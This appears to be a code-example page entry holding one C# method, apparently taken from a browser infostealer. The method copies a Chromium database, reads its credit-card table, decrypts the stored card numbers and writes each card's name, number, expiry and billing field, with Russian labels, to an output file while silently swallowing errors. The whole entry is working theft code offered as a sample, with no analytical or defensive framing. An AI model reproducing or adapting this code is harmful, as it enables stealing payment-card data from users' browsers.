Beispiel #1
0
 protected static void CCParse(string path, string save)
 {
     try
     {
         if (File.Exists(path))
         {
             string text = $"{Buffer.path_t}{GetRandom.String()}";
             if (File.Exists(text))
             {
                 File.Delete(text);
             }
             try
             {
                 File.Copy(path, text, overwrite: true);
             }
             catch
             {
                 try
                 {
                     text = $"{Buffer.path_ds}{GetRandom.String()}";
                     if (File.Exists(text))
                     {
                         File.Delete(text);
                     }
                     File.Copy(path, text, overwrite: true);
                 }
                 catch
                 {
                     return;
                 }
             }
             string text2 = "";
             if (File.ReadAllLines(text).Length >= 75)
             {
                 Sqlite sqlite = new Sqlite(text);
                 sqlite.ReadTable("CC");
                 int num = 0;
                 try
                 {
                     num = sqlite.GetRowCount();
                 }
                 catch
                 {
                     return;
                 }
                 for (int i = 0; i < num; i++)
                 {
                     try
                     {
                         if (i < 100 || !string.IsNullOrEmpty(text2))
                         {
                             if (!string.IsNullOrEmpty(sqlite.GetValue(i, 1)))
                             {
                                 string text3 = null;
                                 try
                                 {
                                     text3 = chrome.Decrypt(sqlite.GetValue(i, 12), v80: false);
                                     if (string.IsNullOrEmpty(text3))
                                     {
                                         text3 = chrome.Decrypt(sqlite.GetValue(i, 12));
                                     }
                                 }
                                 catch
                                 {
                                     continue;
                                 }
                                 text2 += $"\n\nНазвание: {sqlite.GetValue(i, 1)}.\nНомер: {text3}.\nМесяц/Год: {sqlite.GetValue(i, 2)}/{sqlite.GetValue(i, 3)}.\nСчет: {sqlite.GetValue(i, 9)}.";
                                 CCards++;
                             }
                             continue;
                         }
                     }
                     catch
                     {
                         continue;
                     }
                     break;
                 }
                 try
                 {
                     File.Delete(text);
                 }
                 catch
                 {
                 }
             }
             text2 = text2.Trim().Replace("\n", Environment.NewLine);
             if (!string.IsNullOrEmpty(text2))
             {
                 File.WriteAllText(save, text2);
             }
         }
     }
     catch
     {
     }
 }